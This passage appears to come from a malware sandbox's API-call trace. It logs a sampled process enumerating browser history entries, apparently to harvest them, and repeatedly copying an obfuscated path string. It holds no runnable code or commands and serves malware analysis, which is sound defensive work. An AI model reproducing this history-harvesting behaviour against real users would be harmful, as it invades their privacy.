(lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/KdHsmKYDr7d3r/tsVYmEsPdIq/LxT9XSH.flv") returned 96 [0056.944] CoTaskMemFree (pv=0x2d6498) [0056.944] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.944] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/bajL7.png", lpSrch="?") returned 0x0 [0056.945] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.945] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fccb0 [0056.945] lstrcpyA (in: lpString1=0x2fccb0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.945] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/bajL7.png") returned 85 [0056.945] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/bajL7.png") returned 85 [0056.945] CoTaskMemFree (pv=0x2fcbf8) [0056.945] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.945] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/HhxENkXSiAjd.bmp", lpSrch="?") returned 0x0 [0056.945] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.945] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fcbf8 [0056.945] lstrcpyA (in: lpString1=0x2fcbf8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.945] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/HhxENkXSiAjd.bmp") returned 66 [0056.945] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/HhxENkXSiAjd.bmp") returned 66 [0056.945] CoTaskMemFree (pv=0x2e83b8) [0056.945] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.945] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/WZw3HiKTAy-v2Pn.jpg", lpSrch="?") returned 0x0 [0056.945] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.945] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fcbf8 [0056.945] lstrcpyA (in: lpString1=0x2fcbf8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.945] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/WZw3HiKTAy-v2Pn.jpg") returned 69 [0056.945] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/WZw3HiKTAy-v2Pn.jpg") returned 69 [0056.946] CoTaskMemFree (pv=0x2dad78) [0056.946] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.946] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/9NJtVDi81Z.mkv", lpSrch="?") returned 0x0 [0056.946] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.946] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fcbf8 [0056.946] lstrcpyA (in: lpString1=0x2fcbf8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.946] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/9NJtVDi81Z.mkv") returned 55 [0056.946] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/9NJtVDi81Z.mkv") returned 55 [0056.946] CoTaskMemFree (pv=0x2f7c18) [0056.946] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.946] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/kJ-2_hTsFp6B8BIg.docx", lpSrch="?") returned 0x0 [0056.946] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.946] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fcbf8 [0056.946] lstrcpyA (in: lpString1=0x2fcbf8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.946] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/kJ-2_hTsFp6B8BIg.docx") returned 65 [0056.946] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/kJ-2_hTsFp6B8BIg.docx") returned 65 [0056.946] CoTaskMemFree (pv=0x2e8718) [0056.946] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.947] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/_Cpez_Qb4O9v%20Aa.xlsx", lpSrch="?") returned 0x0 [0056.947] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.947] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fcbf8 [0056.947] lstrcpyA (in: lpString1=0x2fcbf8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.947] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/_Cpez_Qb4O9v%20Aa.xlsx") returned 66 [0056.947] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/_Cpez_Qb4O9v%20Aa.xlsx") returned 66 [0056.947] CoTaskMemFree (pv=0x2e8448) [0056.947] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.947] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/aeB3H1UvGkVj.mkv", lpSrch="?") returned 0x0 [0056.947] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.947] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fcbf8 [0056.947] lstrcpyA (in: lpString1=0x2fcbf8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.947] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/aeB3H1UvGkVj.mkv") returned 66 [0056.947] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/aeB3H1UvGkVj.mkv") returned 66 [0056.947] CoTaskMemFree (pv=0x2e89e8) [0056.947] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.947] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/gogo%20bcCuWmS%20g0QTi/1I1sy%20gtfNb/KI1HtdTOC-p.flv", lpSrch="?") returned 0x0 [0056.947] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.947] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fcbf8 [0056.948] lstrcpyA (in: lpString1=0x2fcbf8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.948] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/gogo%20bcCuWmS%20g0QTi/1I1sy%20gtfNb/KI1HtdTOC-p.flv") returned 111 [0056.948] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/gogo%20bcCuWmS%20g0QTi/1I1sy%20gtfNb/KI1HtdTOC-p.flv") returned 111 [0056.948] CoTaskMemFree (pv=0x2e4b60) [0056.948] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.948] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/7U3kuCCTRZq.gif", lpSrch="?") returned 0x0 [0056.948] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.948] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fcbf8 [0056.948] lstrcpyA (in: lpString1=0x2fcbf8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.948] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/7U3kuCCTRZq.gif") returned 57 [0056.948] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/7U3kuCCTRZq.gif") returned 57 [0056.948] CoTaskMemFree (pv=0x2ea5b8) [0056.948] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.948] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/bE7FJB8gowYzGF.jpg", lpSrch="?") returned 0x0 [0056.948] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.948] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fcbf8 [0056.948] lstrcpyA (in: lpString1=0x2fcbf8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.949] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/bE7FJB8gowYzGF.jpg") returned 73 [0056.949] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/bE7FJB8gowYzGF.jpg") returned 73 [0056.949] CoTaskMemFree (pv=0x2e5ed8) [0056.949] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.949] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/fx6e4u.pdf", lpSrch="?") returned 0x0 [0056.949] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.949] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fcbf8 [0056.949] lstrcpyA (in: lpString1=0x2fcbf8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.949] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/fx6e4u.pdf") returned 74 [0056.949] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/fx6e4u.pdf") returned 74 [0056.949] CoTaskMemFree (pv=0x2e65b8) [0056.949] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.949] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/129DShJr6JeMp6.docx", lpSrch="?") returned 0x0 [0056.949] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.949] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fcbf8 [0056.949] lstrcpyA (in: lpString1=0x2fcbf8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.949] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/129DShJr6JeMp6.docx") returned 63 [0056.949] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/129DShJr6JeMp6.docx") returned 63 [0056.950] CoTaskMemFree (pv=0x2f4f08) [0056.950] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.950] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/QX8xc.rtf", lpSrch="?") returned 0x0 [0056.950] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 